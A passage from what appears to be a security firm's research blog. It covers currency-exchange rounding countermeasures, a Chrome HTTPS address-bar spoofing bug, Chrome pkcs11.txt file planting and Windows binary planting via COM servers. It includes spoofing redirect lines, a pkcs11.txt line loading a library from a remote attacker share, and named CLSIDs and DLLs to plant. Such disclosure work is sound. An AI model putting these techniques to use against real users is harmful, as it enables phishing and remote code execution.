After becoming aware of this vulnerability, banks can employ various countermeasures to eliminate it:

1. Charging a conversion fee. This is the simplest countermeasure, and even if the fee is really tiny (e.g., 0.01 EUR), it quickly takes away all the profit provided by the rounding.
2. Setting a minimum conversion amount. Much like most physical exchange bureaus refuse to accept small change, an online currency exchange can refuse to exchange anything less than one unit of the "larger" currency - say, 1 EUR in the above examples. Note that exchanging an amount larger than 1 EUR can still provide up to 0,005 EUR profit from rounding error but this profit is more than neutralized by the difference between buying and selling rates.
3. Always rounding to bank's benefit: While arguably unfair - and possibly disallowed by local banking regulations -, this is also an effective countermeasure.
4. Limiting the number of operations per user: Obviously, harvesting a significant profit requires hundreds of thousands of exchange operations. An online bank can limit the allowed number of exchange operations for any individual user to, say, a thousand per day, without causing any problems to users.

Are There Any Other Legally Exploitable Security Flaws?

There are many. We decided to publish a blog post about this one because it's been publicly known for a decade, is being actively exploited, and we keep finding it in online banks we're reviewing. Many other flaws are not publicly known and it would be a disservice to our existing and future customers to reveal them.


Final Thoughts

This flaw is a great example of how things can go wrong when you take a simple, well-specified physical process such as manual currency exchange - and turn it into an online service. This particular case introduced two critical changes: first, the online service allows  hundreds of thousands of operations in a short period of time, while a physical exchange office could probably not  make more than two exchanges per minute. And second, the online system accepts the smallest of small change and doesn't find it either suspect or annoying that someone wants to exchange one cent over and over again - it just dutifully executes its code.

Actually, having looked at many different logical flaws we find in online banking systems, a lot of them exist only because the transformation of processes from the physical banking world into the complexity of an online application introduced many new and unwanted possibilities that would have been alarming, suspect or at least unacceptably irritating to the people involved in the same physical process.

And they say people are the weakest link in security.

Google Chrome HTTPS Address Bar Spoofing

The Fixed Bounty Bug Revealed

Last month Google awarded our security analyst Luka Treiber a Chromium Security Reward for a high-severity vulnerability fixed in version 16 of the Chrome web browser. Due to Chrome's automatic update mechanism we expect most browsers to be updated by now, which seems to be supported by StatCounter's Global Stats for January 2012, where Chrome 16 is the only Chrome version in the chart. Luka found this issue in Chrome 14 and we confirmed that Chrome 15 was vulnerable as well. This document presents the vulnerability in detail.

HTTPS-related  vulnerabilities tend to rate high on the severity scale as they allow attackers to make web site visitors - even the savvy ones who check for HTTPS evidence such as "https://" at the beginning of the URL - believe they are visiting a legitimate web site when they're actually on a malicious look-alike site. And when users trust a malicious web site, they will give it their credentials and personal data.

This bug is a nice addition to some other HTTPS-related vulnerabilities our security researchers have found in the past: bypassing HTTPS security warnings in Internet Explorer and Netscape Navigator (yes, we were breaking HTTPS back in 1999!), and Poisoning Cached HTTPS Documents in Internet Explorer. None of these break the cryptographic model or implementation supporting HTTPS, but rather exploit the integration of SSL/TLS into the browser and browser's presentation of security-relevant information to the user. These are often the weakest link in the security HTTPS is supposed to provide.


Chrome's Trigger-Happy Address Bar

There is an inconsistency in the way Chrome 14/15 renders some web page redirections in a way that allows an attacker to perform address bar spoofing, resulting in an HTTPS URL being displayed with the content from some other web site. Let's take, for example, a simple JavaScript redirection page located at http://source/sample.html that looks as follows:

location="http://target";

When observing the above code in execution all parts of Chrome's user interface behave consistently, meaning that as the address bar changes from URL of the source page to the target URL, the page content changes accordingly and promptly (at once). However, by altering the script like this:

location="view-source:http://source/redir.php?url=http://target";

one can see the address bar starts changing before the displayed page content is replaced. So for a split second the address bar displays the new address http://target while the DOM is still from the old address http://source/sample.html. The given example is composed of two tricks:

1. Apparently the "view-source:" prefix causes the asynchronous behavior between the address bar and the DOM.
2. The redir.php is an HTTP 302 redirection script used to cause a redirect from view-source:http://source/redir.php to http://target, thus removing the "view-source:" prefix from the URL (the goal is to spoof the address bar to a legitimate domain as will be shown later). After this redirection, the browser no longer displays the source code but renders the HTML of http://target.

All demonstrations provided below employ the above two tricks with http://target replaced by a Gmail login page address. However, to stop the redirection at the exact moment when the inconsistency between the address bar and the page contents is being exhibited, a further trick is used. Each of the three demonstrations employs a different trick to "freeze" the state of inconsistency for a long enough time for a user to enter his credentials.


Demonstration #1: Redirection To HTTPS On Port 80

In the first demonstration, https://proxy.google.com:80/ is used as target of the redir.php script to block the redirection for about 30 seconds. This occurs because Chrome is instructed to establish an HTTPS connection with a server on an HTTP port, which results in a 30-second hopeless handshake attempt between an SSL/TLS client and an HTTP server.

While the redirection using view-source:http://www.acrossecurity.com/redir.php?url=https://proxy.google.com:80/ is being fruitlessly attempted (and Chrome is already showing https://proxy.google.com:80/ in the address bar), a fake Gmail login page is displayed from attacker's web site. If username and password are entered and the submit button is pressed the data gets sent to http://www.acrossecurity.com (the "malicious" web site for the purpose of this blog post). Tests have shown that any unresponsive server script can be used instead of https://proxy.google.com:80, or even an invalid target URL such as view-source:http://xxxxxxxx.

Let's look at a video of this demonstration:

Demonstration #2: Using Google's Open Redirector

In the second demonstration, we avoid the suspicious 80 port in the URL by using some open redirector on https://*.google.com as the desired spoof URL. The demonstration is analogous to the previous one except that an additional redirect is used after the http://www.acrossecurity.com/redir.php script, and that https://proxy.google.com:80 is replaced with a download-throttling page http://www.acrossecurity.com/slow.php that delays the loading for an arbitrary amount of time. This time the URL that the redirection gets stuck on is https://www.google.com/url?q=http://www.acros.si/slow.php[...].

Let's see:

Demonstration #3: Delaying Redirection With A Blocked Modal Dialog

In the third and final demonstration, we manage to spoof the exact URL of the Gmail login page. To do that, a blocked modal dialog is used to stop the redirection instead of the "wrong port trick" with https://proxy.google.com:80 or the download-throttling slow.php employed in the previous demonstrations. A precondition in this case, for whatever reason, is that the user has come to the malicious web site from the spoofed-to-be host (in our case https://accounts.google.com) or another host in its 2nd level domain before address bar spoofing redirection begins. This precondition can easily be fulfilled using any one of the open redirectors on google.com servers.

An intentionally blocked modal dialog (blocked by Chrome's pop-up blocker) is used to stop the redirection after the address bar has already been updated with the new URL but the page content hasn't been refreshed yet. Like in the previous demonstrations, a fake login form is displayed, waiting for the user to provide his credentials. Curiously, any requests resulting from the form submittal are queued while the modal dialog is blocked. We solved this with a self-destruct script inside the modal dialog executing after the submit button has been pressed, thus releasing the said queue and allowing the credentials to be sent to attacker's server.

Let's see how this looks like (notice the blocked dialog icon on the right side of the address bar):

Practical Exploitability

While it would certainly be possible to trick some users into logging in to Gmail (or any other targeted web site) through links provided by a 3rd party malicious web site, most users are likely to visit their favorite web sites directly (by typing the host name) or using browser bookmarks. In this case, as long as the initial URL is non-HTTPS, a man-in-the-middle attacker (i.e., the guy sitting next to you in the coffee shop with free WiFi) can actively inject malicious code into the initial web site's HTML to exploit this vulnerability and present a legitimately-looking fake HTTPS login form to the user.

Finally, the hawk-eyed among you may have noticed that the spoofing is not entirely perfect: the icon left to the spoofed URL is a grey planet as is typical for HTTP addresses - and not a green lock as is typical for valid HTTPS addresses. However, while many users may notice the presence of "https" and consider it a guarantee of trust, they are less likely to notice the absence of a lock icon - especially since the visual identification of HTTPS URLs is different in different web browsers.

So could this vulnerability realistically be used for defeating HTTPS in actual attacks? We think so and so does Google - and we're glad this bug is now fixed. When more and more web sites are depending on the cryptographic security of HTTPS, this bug is a reminder that HTTPS is much more than just cryptography.

Google Chrome pkcs11.txt File Planting

A Vuln, Or Not A Vuln, That Is The Question

[Update 10/27/2011: Chrome 15, released two days ago, makes this bug even harder to exploit as its phishing and malware protection (enabled by default in Chrome's Under the Hood options) now sends an HTTPS request to one of its servers immediately upon startup. Therefore, in addition to not having Google as the search engine and not having visited any HTTPS addresses before the attack, the user would also have to disable phishing and malware protection in order for this bug to be exploitable.]

Thirty days ago our company notified Google about a peculiar behavior of Chrome browser that can be exploited for execution of remote code outside Chrome sandbox under specific conditions. It is another case of file planting, where an application loads a data file (as opposed to binary file, leading to binary planting) from the current working directory. Similarly to our previously reported file planting in Java Runtime Environment (still there in current build 1.6.0_29 if you want to play with it), Chrome loads a data file, namely pkcs11.txt, from the root of the current working directory and in case the file exists, parses and processes its content. Security-wise, the most interesting value in a pkcs11.txt file is called library. Consider the following line in pkcs11.txt:

library=c:\temp\malicious.dll

This line will instruct Chrome to load library c:\temp\malicious.dll. To allow remote code execution attacks, it works with remote shared folders too; in our demonstration, the following line is used:

library=\\www.binaryplanting.com\demo\chrome_pkcs11Planting\malicious.lib

In addition, the library file doesn't have to have a known extension (such as ".dll"), which makes it harder to block it on a firewall.

Finally, Chrome sandbox doesn't provide any protection here as the entire process of loading pkcs11.txt and the associated library is done by the parent chrome.exe process. 

HTTPS, NSS And pkcs11.txt

Chrome loads "/pkcs11.txt" the first time it needs to do anything encryption-related, which in most cases means visiting an HTTPS URL. Chrome developers tracked this issue to one of Mozilla's Network Security Services (NSS) libraries, and it seems that it is a matter of unfortunate circumstances that gave life to this bug in Chrome, although the same bug may potentially exist in some other products integrating NSS libraries.

Exploit Conditions

If you carefully read the previous paragraph, you noticed two things: 

1. Chrome loads pkcs11.txt the first time it needs PKCS #11 capabilities, and it never does it again until re-launched. This means that if the user has already visited an HTTPS address before, or any of the sites he visited has loaded an image or any other data via HTTPS, the attack opportunity is gone. What makes things worse for the attacker is the fact that when Google is the selected search engine - and it is by default -, Chrome sends a request to https://www.google.com/searchdomaincheck... to determine your local Google domain immediately upon startup. This triggers the loading of pkcs11.txt from the root of user's local system drive and closes the attacker's window of opportunity before it was ever really opened.
   
2. The initial forward slash in the file name "/pkcs11.txt" means that pkcs11.txt will be loaded from the root of the current working directory, and not from the current working directory. For instance, if current working directory is C:\users\james\, Chrome will try to load C:\pkcs11.txt. In a shared folder case, if current working directory is \\server\share\somefolder\, Chrome will try to load \\server\share\pkcs11.txt.

So how can this vulnerability be exploited? Three conditions need to be met:

1. Google must not be the selected search engine. This setting is configurable under the Options page, and users can set Yahoo, Bing, or any other search provider as their selected search engine. We confirmed that Yahoo and Bing don't send any HTTPS requests when Chrome is launched and are therefore suitable for mounting the attack.
   
2. User must not have visited any HTTPS resources before the attack. As described above, the attack relies on the fact that the NSS capabilities have not been initialized yet in the running parent Chrome process. Ideally for the attacker, the user would have just launched Chrome and not visit any web sites that send HTTPS requests.
   
3. Chrome's current working directory must be set to attacker-controlled location. Since Chrome sets its current working directory to its own folder on user's machine upon startup, double-clicking on HTML file in a remote shared folder (which often works for binary planting attacks) wouldn't achieve anything for the attacker. The best remaining way we know of to set the current working directory in Chrome are then the file browse dialogs. If the attacker could get the user to try to load a file from her network shared folder, and trigger the first HTTPS request while the user had this folder opened in the "Open" dialog, Chrome would load pkcs11.txt from the root of attacker's network share and load the library specified in it.

On-Line Demonstration

We have prepared an on-line demonstration at http://www.binaryplanting.com/demo/chrome_pkcs11Planting/. Simply open this page with Chrome and follow instructions. If you don't have Chrome handy and want to see what would happen if you did, here's a video of this demonstration:

Attack Improvements And Variations

Our demonstration requires you to wait until the count-down reaches 0 before the attack is completed and the remote DLL is loaded. The reason for this waiting is to make sure the "Open" dialog has successfully loaded the remote shared folder - which can take anywhere from 5 to 30 seconds according to our tests. A real attack would not keep you waiting: the attacker-controlled server could detect the incoming requests (SMB or WebDAV) indicating that Chrome's current working directory has been set to its network share and then instruct the web page already loaded in Chrome to make some HTTPS request - which would result in Chrome loading pkcs11.txt from attacker's network share just like in our demonstration.

Current working directory can also be set via the "Save As..." dialog and any other file browse dialog the attacker feels her victim would most likely be duped into opening.

A bizarre local variant of this same exploit is also possible in the extremely unlikely case that the user has his Downloads folder in the root of any one of his local drives. In that case, all the attacker would have to do is get a malicious pkcs11.txt downloaded in user's Chrome (which can happen in a drive-by fashion as .txt is not a "dangerous" extension) and wait for the user to open the "Save As..." dialog, which by default opens the Downloads folder's location.


So, Is This A Vulnerability Or Not?

Google decided that this was not a vulnerability, but rather a "strange behavior that [they] should consider changing". The reason they provided was that "the social engineering level involved here is significantly higher than 'Your computer is infected with a virus, download this free anti-virus software and run the exe file to fix it.'"

This is actually hard to dispute. From attacker's perspective, given these two attack options, she would probably be more successful with the "fake anti-virus" one than the "file planting" one. However, the "fake anti-virus" option may not work against corporate users whose firewalls are likely to prevent them from downloading an executable, and who may not be technically allowed (e.g., with AppLocker) to launch unauthorized executables. Additionally, employees who attended at least one security awareness session could be more suspicious about a "please download and execute this" than an "open a file from this folder" request. Then again, they may not be, who knows.

Regardless, as security researchers we consider any "feature" that allows silent downloading of remote code and its execution on user's computer without warnings a vulnerability. Clearly the same criteria cannot apply to Joe Average and someone working at a nuclear power plant, and it's not a big deal if Google doesn't share our vulnerability criteria (security experts disagree on many things all the time), but Google's reasoning opens up an interesting and important question: how much social engineering is too much?

Microsoft's Security Intelligence Report Volume 11 reveals (based on Microsoft's data) that 88% of attacks in the first half of 2011 were depending on what they call "user interaction" and "feature abuse", both of which are part of what is generally considered "social engineering," i.e., getting users to do something they otherwise wouldn't. While this doesn't answer the above question, it sheds some light on how prevalent, and successful, social engineering seems to be in the real attacks out there. It seems plausible that as technical security countermeasures block more and more attack paths, attackers will be looking for the remaining paths of least resistance: both technical resistance and social one.


What Can We Learn?

1. Loading data files from untrusted locations can be dangerous, and this includes current working directory. Action item: fire up Process Monitor while testing your applications and see what they're loading.
2. 3rd party libraries can introduce vulnerabilities into your software, and possibly only into your software. Action item: use 3rd party libraries whose developers are quick in fixing or at least which you can patch yourself. (The NSS library with this particular bug fortunately has both of these properties.)
3. What is a vulnerability to some, can be just strange behavior to others, and there's no industry criteria for telling who's right. (Although we can probably agree that the actual attacker is always right.) Action item for the issue described in this post: Make sure your Chrome home page is an HTTPS address or loads at least one HTTPS resource, and you won't have to care who's right.

(This fine piece of security analysis has been done by Luka Treiber, security researcher at ACROS Security. Follow us on Twitter and stay updated on our future research.)

More Misconceptions About Binary Planting

Last year, soon after revealing our binary planting research project, we published a blog post clearing up five frequently-appearing misconceptions at that time. Over a year (and about a hundred publicly fixed binary planting bugs in all sorts of software products) later, we're noticing a different set of misconceptions in public forums and on mailing lists. While we made our best effort to present binary planting in as comprehensible and clear way as we could, we accept responsibility for our undoubtedly imperfect rendition and hope this post will help interested readers to better understand our arguments.


Misconception #6: "This is a local attack."

We still occasionally come across this misconception that in a binary planting attack, the user has to willfully download a DLL or EXE and place it in some particular location on his computer, from where it will subsequently be launched. If this were true, binary planting would certainly be a ridiculous concept.

Actually though, in a typical binary planting attack the user doesn't have to download anything to his computer. He opens a file from a remote (attacker-controlled) shared folder and the vulnerable application on his computer automatically, silently executes a DLL or EXE from that same remote folder. Moreover, advanced attacks don't even require the user to do anything more than, for example, visiting a web page and clicking on two links - now who isn't doing that on a daily basis?

Misconception #7: "It doesn't work remotely on a default Windows machine."

We've heard objections that perimeter firewalls in typical networks won't allow internal Windows computers to access shared folders on an Internet-based server due to their default blocking of outbound SMB connections.

Windows 2003 Server introduced a Web Client service, which is an automatic WebDAV redirector for Windows networking connections. In short, this service makes it possible for Windows users to connect to remote network shared folders via the HTTP protocol, and this happens automatically when such connections via the SMB protocol fail. This means that even if a perimeter firewall blocks SMB network traffic towards the Internet, Windows will automatically try to connect to a remote shared folder via WebDAV (which is an extension of HTTP). We believe very few perimeter firewalls block outbound HTTP traffic as this would mean that internal users wouldn't be able to use their web browsers. WebDAV-only outbound blocking can be done by various firewalls, but this doesn't seem to be their default behavior in general *.

Anyone wishing to test whether their firewall allows outbound WebDAV connections can try to visit \\www.binaryplanting.com\demo with Windows Explorer on a reasonably default non-server Windows machine (with the Web Client service running or at least not disabled on a Windows 7 system).


Misconception #8: "Attacker could just as well get the user to open an executable."

We've heard this objection more than once and it goes like this: If in a typical binary planting attack scenario, the attacker has to trick the user to double-click a data file from a remote shared folder (which results in a vulnerable application loading a malicious DLL from the same folder), why couldn't the attacker simply get the user to double-click a malicious EXE with an icon of a data file?

It is entirely true that one can give an EXE an arbitrary icon and make it look exactly like any chosen data file such as Microsoft Word DOC or Adobe Reader PDF document. Furthermore, one can even disguise the way the file extension is displayed to the user using the UNICODE "right to left" trick. This makes it impossible for a user to visually distinguish an executable from a document file without manually inspecting their properties.

However, the difference comes after double-clicking the file, as long as this file is on a network share (as opposed to on a local drive): in case of a data file, the application associated with this file type gets launched and opens the data file; but in case of an executable, Windows display a security warning to the user saying that he is about to launch an executable from a network location and asking the user's permission to do so (see image below). While we have no field data on how effective such warning would be in stopping a "disguised executable" remote attack, it enables organizations to educate their users and increase their odds.

Moreover, double-clicking a file is not the only way to successfully trigger binary planting. The role of double-clicking in the attack is to set the current working directory to the location of the data file, so that the vulnerable application subsequently loads the malicious DLL from there. But the current working directory can also be set by opening the same data file by first launching the application and then using the File Open dialog to browse to the file and open it. (Very few applications don't change the current working directory this way.) Now, the file browse dialog will not show the disguised executable as it has an unsupported extension not matching the file type filter, and will not launch the disguised executable even if the user selects the "All files" filter, selects the executable and presses the "Open" button.

We hope this adequately describes the significant difference between a remote data file and a remote disguised executable in the context of a binary planting attack.


Credits

We'd like to end this post by thanking everyone contributing in public or private debates about binary planting vulnerabilities. We may not always all agree on everything, but such exchange of views, opinions and facts is exactly where new and better knowledge comes from. Thank you!


(* The amount of successfully received WebDAV requests from large and small organizations to our testing WebDAV server confirms that many perimeter firewalls are not blocking outbound WebDAV.)

Microsoft's Binary Planting Clean-Up Mission

Slow, But Moving In The Right Direction

Since our presentation of COM server-based binary planting exploits at the Hack in the Box conference in May this year, Microsoft has introduced a number of relevant changes to Windows and Internet Explorer. To refresh our memory: in Windows, so-called "special folders" (e.g., Control Panel or My Computer) are implemented as in-process COM servers associated with unique CLSIDs and our researchers found that opening a file from an ordinary folder with name extension equal to some of these CLSIDs results in various DLLs being loaded and executed from this same folder. This has obvious security implications (details here and here) and our advanced binary planting research leveraged it to the point where it was possible to attack a user through Internet Explorer on both Windows XP and Windows 7.

Change #1: No "file://" Inside "http://"

The proof of concept we prepared was a web page that included a tiny (1 by 1 pixel) iframe hosting the content of a remote shared folder; when the user clicked anywhere on that page, he actually clicked inside the shared folder where the first click selected a file there, and the second one initiated the printing which triggered the binary planting bug.

Microsoft changed the behavior of Internet Explorer such that a web page (served via http://) can't display the content of a shared folder (served via file://) in a frame/iframe. This is good: there are probably very few cases where such mixture would be legitimately needed. And if you have a case like that, you can always put your web page in the "Trusted sites" zone.

Naturally this broke our proof of concept as we delivered it via http:// from http://www.binaryplanting.com/demo/XP_2-click/test.html. However it is not difficult to circumvent this limitation: if the main web page is loaded via file:// as well, it will be allowed to display a remote share in a frame/iframe, at least if it's coming from the same server. Therefore our proof of concept could be brought back to life simply by having it loaded via file:// from file://\\www.binaryplanting.com\demo\XP_2-click\test.html.

Change #2: No "file://" From "http://"

If you're reading this in Internet Explorer and try to click on the file:// link at the end of the last paragraph, you will probably notice that it doesn't work. This was the second change introduced to Internet Explorer, and again a good one. An obvious attack vector for the typical double-click binary planting attacks is a link on a web page that opens up Windows Explorer with attacker's remote shared folder. Since most users would not be able to distinguish between the displayed "malicious" folder and a shared folder in their internal network, they could easily open a document in it - and get their computer owned.
Not allowing a web page loaded via http:// to open a file:// URL blocks this attack vector and this is good. Since other leading web browsers don't launch file:// URLs in Windows Explorer, the attacker is now left with secondary attack vectors such as e-mail, various documents and instant messages. (Unless he finds a way to circumvent this new IE barrier.)

Change #3: Away With deskpan.dll On Windows XP

The September Windows update MS11-071 introduced a number of changes, but the one most relevant to this post is the removal of a non-functional COM server on Windows XP registered with a non-existing DLL called deskpan.dll, which was used in our proof of concept. Esteemed paranoid readers of our blog have manually removed this COM server 100+ days earlier when we recommended it in May (see "How to protect yourself" section). We welcome Microsoft's move to fix this exploitable configuration error as part of a security update.

However...

As we already hinted before, we found that many well-registered COM servers on all Windows versions, having specified their DLL with an absolute path, load additional DLLs with a relative path, and many of these DLLs do not exist. This provides extensive binary planting potential to a great number of flawed LoadLibrary calls that could previously be considered non-exploitable.

For instance, an attacker - having had the deskpan.dll COM server taken away from him - can migrate  his Windows XP exploit to the COM server with CLSID {32714800-2E5F-11d0-8B85-00AA0044F941}. This COM server loads C:\Program Files\Outlook Express\wabfind.dll (which exists) but then this DLL tries to load wab32res.dll without a full path. While wab32res.dll does exist in C:\Program Files\Common Files\System\, this folder comes after the current working directory in the search order - allowing a fake wab32res.dll to be loaded and executed from the attacker's "special" folder.

Furthermore, our research found that there are at least ten additional vulnerable COM servers on a default Windows XP installation.

Finally, the COM server-based binary planting vulnerability we described on Windows 7 has not been fixed yet. The "AnalogCable Class" COM server, registered with CLSID {2E095DD0-AF56-47E4-A099-EAC038DECC24}, still loads and executes ehTrace.dll from attacker's folder.

Conclusion

Microsoft is clearly putting an effort into removing binary planting bugs from their code and introducing mitigations that help block various binary planting attack vectors. While we know there's still a lot of cleaning up to do in their binary planting closet, our research-oriented minds remain challenged to find new ways of exploiting these critical bugs and bypassing new and old countermeasures. In the end, it was our research that got the ball rolling and it would be a missed opportunity for everyone's security if we didn't leverage the current momentum and keep researching.

Stay tuned - follow our research on Twitter.